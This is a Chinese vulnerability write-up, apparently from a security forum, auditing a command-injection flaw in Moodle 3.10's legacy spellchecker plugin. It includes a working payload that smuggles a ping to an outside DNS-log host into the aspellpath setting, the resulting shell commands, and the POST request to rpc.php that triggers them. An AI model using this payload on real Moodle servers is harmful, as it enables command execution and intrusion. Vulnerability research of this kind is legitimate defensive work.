Moodle 3.10 中默认的旧版拼写检查器插件中存在命令执行漏洞。一系列特制的 HTTP 请求可以导致命令执行。攻击者必须具有管理员权限才能利用此漏洞。
前言
Moodle 是世界上最流行的学习管理系统。在几分钟内开始创建您的在线学习网站!
Moodle 3.10 中默认的旧版拼写检查器插件中存在命令执行漏洞。一系列特制的 HTTP 请求可以导致命令执行。攻击者必须具有管理员权限才能利用此漏洞。
过程分析
对于PHP代码审计,一般会先看常见危险函数,参数是否可控。
全局搜索危险函数:shell_exec
,程序有两处调用,让我们进一步跟踪,看参数是否可控。
进一步跟进参数$cmd
,来自19行处$this->_getCMD($lang);
调用,一般情况下,这时候要看变量$lang
的来源了。此处我们先看下_getCMD()
方法
可以看到,有两个参数可控,其中一个$lang
,不过,这个变量不能存在_-a-z
这些字符,局限性比较大。不如来跟进$bin
这个变量
跟进$this->_config
$CFG
是一个全局变量,用来存储所有配置项,不用过多考虑,下面直接全局搜索aspellpath
在文件config-dist.php:1038
处,我们知道这个变量是指定拼写检查插件的位置。接下来,再找找哪里可以设置这个参数
如下,管理员设置系统路径配置的一个方法,构造url:http://moodle.langke.com/admin/settings.php?section=systempaths
根据位置,构造payload:
$aspellpath = 'ping ihamhr.dnslog.cn ||'
if (preg_match("#win#i", php_uname()))
return "$bin -a --lang=$lang --encoding=utf-8 -H < $file 2>&1";
return "cat $file | $bin -a --lang=$lang --encoding=utf-8 -H";
// 最终shell_exec()执行的语句
# win
'ping ihamhr.dnslog.cn ||-a --lang=$lang --encoding=utf-8 -H < $file 2>&1'
# linux
'cat $file | ping ihamhr.dnslog.cn ||-a --lang=$lang --encoding=utf-8 -H'
跟进rcp.php
,最终可以通过这个文件触发漏洞位置
关键代码,给method
参数传入PSpellShell
类有漏洞的方法·checkWords
或者getSuggestions
构造post请求:url: lib/editor/tinymce/plugins/spellchecker/rpc.php
{"method":"getSuggestions","params":["1","2"]}
验证
- 本文作者: langke
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/674
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!